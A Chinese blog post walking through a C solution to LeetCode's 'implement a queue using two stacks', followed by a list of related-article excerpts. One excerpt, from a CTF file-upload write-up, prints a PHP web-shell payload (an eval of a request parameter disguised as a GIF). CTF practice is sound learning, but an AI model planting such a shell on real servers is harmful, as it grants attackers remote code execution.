用栈实现队列——leetcode刷题

        题目要求我们只用栈的基本操作 push to top 入栈,peek from top 返回栈顶元素,pop from top 移除并返回栈顶元素,size 栈的大小,is_empty 判断栈是否为空,这几个函数来实现队列,也就是说,我们在队列函数push pop peek empty函数中要调用栈的函数实现。

        首先栈的特点是先进后出,队列的特点是先进先出,如何用两个栈来实现先进先出,我们想到可以把一个栈压入另外一个栈,此时第二个栈的顺序相对第一个就是一个倒序,此时在出栈就是相当于首元素出栈,就相当于队列的逻辑。如图所示,我们还要做的就是把 栈2 的剩余元素重新入栈更新 栈1 。

        我们可以把 栈1 理解为队列的真实情况,栈2 只是出队列时寻找队头的工具(负责逆序栈),每次出队列之后都要重新更新 栈1 ,更新队列。

接下来就是代码实现:

typedef struct {struct Stacklist* p1;struct Stacklist* p2;
} MyQueue;
struct Stacklist* Stackcreat() {struct Stacklist* p = (struct Stacklist*)malloc(sizeof(struct Stacklist));return p;
}
void StackInit(struct Stacklist* stack) {stack->cap = 0;stack->size = 0;stack->val = NULL;
}
MyQueue* myQueueCreate() {MyQueue* list = (MyQueue*)malloc(sizeof(MyQueue));list->p1 = Stackcreat();list->p2 = Stackcreat();StackInit(list->p1);StackInit(list->p2);return list;
}

        首先是Queue队列结构体的成员,两个指向栈的指针:栈1 p1,栈2 p2 。其次是创建队列指针,创建队列中两个栈的指针,对他们进行初始化。(这里使用了题目要求之外的函数,个人感觉不妥,当然可以自己写一下)

接着是入队列函数:

void myQueuePush(MyQueue* obj, int x) {StackPush(obj->p1, x);
}

        直接就是入栈函数,因为进入第一个栈就相当于是入队列了。

然后是出队列函数 Pop(移除元素):

int myQueuePop(MyQueue* obj) {while (!is_empty(obj->p1)) {StackPush(obj->p2, StackPop(obj->p1));}int val = StackPop(obj->p2);while (!is_empty(obj->p2)) {StackPush(obj->p1, StackPop(obj->p2));}return val;
}

        我们先把 栈1 的元素压入 栈2 中去,即StackPush(obj->p2, StackPop(obj->p1)); 条件是 栈1 不为空,当条件不满足则说明 栈1 中元素已经全部拷贝到 栈2 中去,接着让 栈2 出栈,记录出栈的数值,然后再把 栈2 拷贝回 栈1 。这一流程就是刚才的图的流程。

然后是查看队头数值函数 Peek(不移除元素,仅查看):

int myQueuePeek(MyQueue* obj) {while (!is_empty(obj->p1)) {StackPush(obj->p2, StackPop(obj->p1));}int val = StackPeek(obj->p2);while (!is_empty(obj->p2)) {StackPush(obj->p1, StackPop(obj->p2));}return val;
}

        逻辑和出队列函数一样,只不过val赋值时使用的是StackPeek函数,也就是只查看不删除的"出栈"函数。

最后是判断队列是否为空的函数:

bool myQueueEmpty(MyQueue* obj) {if (is_empty(obj->p1)) {return true;}else {return false;}
}

        直接根据 栈1 是否为空来判断队列是否为空即可,因为我们每次都会拷贝回 栈1 保证 栈1 是队列的真实元素。

最后补充一下销毁函数:

void myQueueFree(MyQueue* obj) {StackDes(obj->p1);StackDes(obj->p2);free(obj);obj = NULL;
}
void StackDes(struct Stacklist* stack) {free(stack->val);stack->val = NULL;
}

        这里我我同样使用了外部函数,可以整合一下。

这就是文章的全部内容了,希望对你有所帮助,如有错误欢迎评论。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1410476.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

25计算机考研院校数据分析 | 哈尔滨工业大学

哈尔滨工业大学(Harbin Institute of Technology),简称哈工大, 校本部位于黑龙江省哈尔滨市,是由工业和信息化部直属的全国重点大学,位列国家“双一流”、“985工程”、“211工程”,九校联盟 、…

「笔试刷题」:最长回文子串(中心扩展算法)

一、题目 描述 对于长度为 n 的一个字符串 A(仅包含数字,大小写英文字母),请设计一个高效算法,计算其中最长回文子串的长度。 数据范围: 1≤n≤1000 要求:空间复杂度 O(1),时间复…

和丰多媒体信息发布系统 QH.aspx 文件上传漏洞复现

0x01 免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删…

IDEA中测试时的包名问题

报错:Unable to find a SpringBootConfiguration, you need to use ContextConfiguration or SpringBootTest(classes...) with your test 原因:(图是别人那巴来的)启动类所在的包名和测试类的包名不一致导致的,原因是…

Qt 信号槽中信号重名解决办法

1、类似与Qt4中的写法&#xff1a; 2、函数指针 3、泛型 connect(ui->combox, QOverload<int>::of(&QCombox::currentIndexChanged), this ,&mainwindow::onindexchange);

RabbitMQ入门教学(浅入浅出)

进程间通信 互联网的通讯时网络的基础&#xff0c;一般情况下互联网的资源数据对储存在中心服务器上&#xff0c;一般情况下个体对个体的访问仅限于局域网下&#xff0c;在公网即可完成资源的访问&#xff0c;如各种网站资源&#xff0c;下载资源&#xff0c;种子等。网络通讯…

《架构即未来》读后感

目录 一、引言 二、《架构即未来》读后感 1、主题的简要介绍 2、我的看法和理解 3、作者的优点和传递的信息 4、思想如何适用于当今社会 三、《架构即未来》对于企业发展的影响具体体现在哪些方面&#xff1f; 一、引言 任何一个持续成长的公司最终都需要解决系统、组织…

XUbuntu24.04之更换国内高速源(二百二十八)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

C++_set和map的学习

1. 关联式容器 STL中的容器有序列式容器和关联式容器。 其中 vector 、 list 、 deque 、 forward_list(C11)就是序列式容器&#xff0c; 因为其底层为线性序列的数据结构&#xff0c;里面 存储的是元素本身 关联式容器 也是用来存储数据的&#xff0c;与序列式容器不同的是&am…

[MRCTF2020]你传你呢 1

上传一个文件 图片木马 新建一个图片木马&#xff0c;这里我命名为a.php&#xff0c;名字需和待会上传的.htaccess一致 GIF89a <script languagephp>eval($_REQUEST["cmd"])</script>抓包上传的a.php文件&#xff0c;修改两个地方 新建一个.htacces…

02 变量和基本类型

数据类型是程序的基础&#xff1a;它告诉我们数据的意义以及我们能在数据上执行的操作。 C语言支持广泛的数据类型。它定义了几种基本内置类型(如字符、整型、浮点数等), 同时也为程序员提供了自定义数据类型的机制。基于此&#xff0c;C标准库定义了一些更加复杂的数据类型&a…

ubuntu与redhat的不同之处

华子目录 什么是ubuntu概述 ubuntu版本简介桌面版服务器版 安装部署部署后的设置设置root密码关闭防火墙启用允许root进行ssh登录更改apt源安装所需软件 网络配置Netplan概述配置详解配置文件DHCP静态IP设置设置 软件安装方法apt安装软件作用常用命令配置apt源 deb软件包安装概…

华为Pura70发布,供应链公司进入静默保密期

保密措施&#xff1a;与华为Pura70发布相关的供应链公司在产品发布前后处于静默保密期。这可能是由于华为对于手机供应链的一些信息处于保密状态&#xff0c;尤其是关于麒麟芯片的代工厂商等敏感信息。这种保密措施有助于保持产品的神秘感&#xff0c;调动用户的好奇心&#xf…

【软件工程】习题一

目录 一二三四五 一 软件工程学&#xff0c;是用工程化的方法指导计算机软件**开发和维护&#xff08;开发和管理&#xff09;**的一门工程学科。 软件工程包括软件开发技术&#xff08;过程、方法和工具&#xff09;与软件工程管理两方面的内容。 软件工程管理是通过计划、组…

Deep learning Part Five RNN--24.4.29

接着上期&#xff0c;CBOW模型无法解决文章内容过长的单词预测的&#xff0c;那该如何解决呢&#xff1f; 除此之外&#xff0c;根据图中5-5的左图所示&#xff0c;在CBOW模型的中间层求单词向量的和&#xff0c;这时就会出现另一个问题的&#xff0c;那就是上下文的单词的顺序…

【算法题解】部分洛谷题解(上)

前言 本篇为我做过的洛谷题的部分题解&#xff0c;大多是我认为比较具有代表性的或者比较有意思的题目&#xff0c;包含我自己的思考过程和想法。 [NOIP2001 提高组] 数的划分 题目描述 将整数 n n n 分成 k k k 份&#xff0c;且每份不能为空&#xff0c;任意两个方案不相…

003 redis分布式锁 jedis分布式锁 Redisson分布式锁 分段锁

文章目录 Redis分布式锁原理1.使用set的命令时&#xff0c;同时设置过期时间2.使用lua脚本&#xff0c;将加锁的命令放在lua脚本中原子性的执行 Jedis分布式锁实现pom.xmlRedisCommandLock.javaRedisCommandLockTest.java 锁过期问题1乐观锁方式&#xff0c;增加版本号(增加版本…

实体映射解决方案-MapStruct

序言 本文给大家介绍 MapStruct。 一、问题引入 在我们的日常开发过程中&#xff0c;我们经常会将 VO、DTO、PO …… 等对象相互进行映射。实现的方式可能有以下几种&#xff1a; 自己手动进行转换利用诸如 Spring 或 Apache 提供的 BeanUtils 等工具类 如果自己手动进行转…

如何搭建本地的 NPM 私有仓库 Nexus

NPM 本地私有仓库&#xff0c;是在本地搭建NPM私有仓库&#xff0c;对公司级别的组件库进行管理。在日常开发中&#xff0c;经常会遇到抽象公共组件的场景&#xff0c;在项目内部进行公用。新的项目开始时&#xff0c;也会拷贝一份创建一个新的项目&#xff0c;这样做不易于管理…

单片机编程实例400例大全(100-200)

今天继续分享单片机编程实例第100-200例。 今天的实例会比前面100复杂一些&#xff0c;我大概看了下&#xff0c;很多都具备实际产品的参考价值。 今天继续分享单片机编程实例第100-200例。 今天的实例会比前面100复杂一些&#xff0c;我大概看了下&#xff0c;很多都具备实际…